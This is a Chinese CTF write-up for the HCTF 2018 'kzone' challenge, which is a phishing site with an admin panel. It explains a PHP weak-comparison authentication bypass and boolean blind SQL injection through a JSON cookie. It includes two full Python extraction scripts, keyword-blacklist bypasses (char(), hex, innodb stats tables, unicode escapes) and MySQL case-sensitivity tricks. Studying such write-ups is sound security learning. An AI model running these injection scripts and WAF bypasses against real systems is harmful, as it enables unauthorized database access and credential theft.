一个钓鱼网站,带有后台的管理系统,复现环境的时候因为一个不经意的flag格式,搞了很长时间,关于MySQL大小写不敏感的注入方式,很有意思。
kzone
题目描述
一个钓鱼网站,只有UserAgent是QQ才行,不然直接跳转到真正地QQ登陆界面
解题思路
在www.zip中发现源码,发现后台管理界面
查看源码,存在safe.php用于过滤1
2
3
4
5
6
7function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}
$_GET
,$_POST
,$_COOKIE
都经过了waf,虽然源码中含有默认密码,但是登陆不了,很明显密码被改变了。查看主要登陆的代码,在member.php中是验证cookie的。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19$islogin = 0;
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
预期解法
首先将cookie中的login_data进行json_decode,通过admin_user查询数据库,找到对应的密码udata['password']
,然后验证是否login_data['pass'] == sha1(udata['password'] . LOGIN_KEY)
,但是这里使用了==
弱类型比较,如果我们是login_data['pass']
等于一个int值num,而且int(sha1(udata['password'] . LOGIN_KEY)) == num
那么就等于找到了admin的密码,用burp爆破即可。
65时,登陆成功,可是如果sha1计算的结果前一个字符不是数字就GG了
接着就可以在$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
,对$admin_user
进行盲注,根据waf可构造1
2
3
4# 1. 判断最右边字符是否是a
SELECT * FROM fish_admin WHERE username='admin'/**/and/**/right(database(),1)/**/in/**/('a')/**/and/**/'1'
# 2. 判断database()是否在a和~之间,从ascii大的字符到ascii小的字符遍历
SELECT * FROM fish_admin WHERE username='admin'/**/and/**/(database()/**/between/**/'a'/**/and/**/'~'/**/and /**/'1'
这里先贴下两个exp
exp1 right in
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31#!python3
# right in version
import requests
import string
result = ''
chars = "/,}{-_,@" + string.ascii_letters + string.digits
url = "http://39.107.124.151:1000/admin/"
#proxies = {'http': 'http://127.0.0.1:1080'}
for i in range(1, 200):
finsih = 0
for c in chars:
payload = "admin' and right(database(),%s) in ('%s') and '1" % (str(i), c+result)
headers = {
'cookie': 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' %
payload.replace(' ', '/**/'),
}
print('[*] Testing: ' + c)
#print(headers)
r = requests.get(url=url, headers=headers, timeout=2)
if 'Management Index' in r.text:
result = c + result
print('[+] Find:' + result)
break
else:
if c == chars[-1]:
finsih = 1
if finsih:
print('[+] Result: ' + result)
break
exp2 Offical between and
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29import requests
url = 'http://39.107.124.151:1000/admin/'
chars = [chr(i) for i in range(32, 127)]
finish = 0
result = ''
while 1:
if finish:
print('[+] Result: ' + result)
break
for c in reversed(chars):
if 'or' in result + c: # 遇到黑名单字符直接continue
continue
payload = "admin' and (select * from F1444g) between '%s' and '%s' and '1" % (result + c, chr(126))
headers = {
'cookie': 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' %
payload.replace(' ', '/**/'),
}
r = requests.get(url, headers=headers)
if 'Management Index' in r.text:
print('[*] Find: ' + result + c)
result += c
break
else:
print('[*] Testing: ' + result + c)
if c == chr(32):
finish = 1
break
黑名单绕过
- 数据库名字中含有黑名单字符串
爆其他数据库需要information_schema
但是or
被过滤导致不能使用,当时并没有想到其他方式,原来MySQL 5.7
之后的版本,在其自带的mysql库中,新增了innodb_table_stats 和innodb_index_stats这两张日志表。如果数据表的引擎是innodb
,则会在这两张表中记录表、键的信息,这里数据库使用的就是innodb引擎。 要获取数据中含有黑名单字符串
若flag为hctf{hctf_2018_kzone_Author_Li4n0}
,不能使用or
,那么在盲注字符串时,就会出现问题。可以换一种形式,发现char
函数并没有被过滤,而且还省事写''
引号了。既然想到换个形式,那16进制肯定也可以。1
2mysql> select 'flag' = char(102,108,97,103); # return 1
mysql> select 'flag' = 0x666c6167; # return 1char()
和hex
绕过只是适用与字符串,是不能够在表名或者字段名中使用的。
bypass黑名单的思想大约有两种:- 找到具有同种功能的数据
- 数据实质不变,转化数据的类型
当我开开心心跑exp的时候却发现,数据库名字成功了,而找flag的时候出了问题。exp2
到了z
竟然成功了,此处应该是_
,这说明ascii('_')>ascii('z')
了,就很苦恼。exp1跑的结果是hctf{hctf_2018_kzone_author_li4n0}
。肯定就是大小写的问题了。。。
MySQL大小写敏感问题
参考:https://dev.mysql.com/doc/refman/5.7/en/
mysql大小写敏感配置相关的两个参数
lower_case_file_system
:表示当前系统文件是否大小写敏感,只读参数,无法修改。ON表示大小写不敏感 OFF表示大小写敏感lower_case_table_names
:表示表名是否大小写敏感,可以修改在开启服务时- 0:mysql会根据表名直接操作,大小写敏感
- 1:mysql会先把表名转为小写,再执行操作
1
2
3
4
5
6
7
8# Unix 5.7.24默认
mysql> show global variables like '%lower_case%';
+------------------------+-------+
| Variable_name | Value |
+------------------------+-------+
| lower_case_file_system | OFF |
| lower_case_table_names | 0 |
+------------------------+-------+
数据的大小写设置问题
- 字符集设置
COLLATE
默认都是*_ci
,表中所有字段都生效- *_bin: 表示binary case sensitive collation,即区分大小写;
- *_cs: case sensitive collation,区分大小写;
- *_ci: case insensitive collation,不区分大小写;
- 字段属性设置
- 建立表的时候,在字段名后加
BINARY
,就会覆盖collate
,从而区分大小写
- 建立表的时候,在字段名后加
- 字符集设置
大小写不敏感的注入
当然在sql注入的过程中如果数据是区分大小写的,肯定是非常省事的。接下来主要看不区分大小写的注入。
- 表名的敏感性
因为默认表名大小写敏感,所以我们在获取GROUP_CONCAT('table_name')
时是没有问题的,如果Unix设置了lower_case_table_names=1
或者是Windows,这样我们爆出表名都是小写的(string.ascii_letters中小写字母在前
),这样使用exp1(in
)的方式是没有影响的,而between and
变会受到影响 - 数据的敏感性
当插入的数据是不区分大小写的,而且存在大写字母,我们怎么还原它呢?- BINARY(expr)
- CAST(expr AS BINARY)
- CONVERT(expr USING BINARY)
最终payload可以是1
2"admin' and binary((select * from F1444g)) between %s and '%s' and '1" % (str2dec(result+c), chr(126))
"admin' and binary(right((select * from F1444g),%s)) in (%s) and '1" % (str(i), str2dec(c+result))
一点小trick
在没有使用binary函数时,使用between and注入,出现了ascii('_')>ascii('z')
,仔细想想发现,其实不区分大小写时,小写字母的的ascii值是它对应的大写字母的。导致位于小写字母和大写字母之间的[\^_`)
没办法成功注入
字符串类型布尔盲注总结
当失去了=
,其实我们也有很多方案来实施
- 截取字符串,用
in (test_string)
或者like
来bypass- right(flag, len) in (test_string)
- left(flag, len) in (test_string)
- mid(flag, pos, len) in (test_string)
- substr(flag, pos, len) in (test_string)
- flag like test_string%
- 整个数据进行比较,下面方式会逐个字符比较,原理相同,test_string每个字符应该按照ascii码顺序测试。
- strcmp(flag, test_string)
- flag between test_string and ‘~’
- flag > test_string
- flag < test_string
非预期解法
这个题目用了json_encode来编码cookie,并没有使用base编码,在php中如果json字符串中含有unicode字符,也会正常解码。导致了黑名单没有卵用,只要使用unicode就能bypass。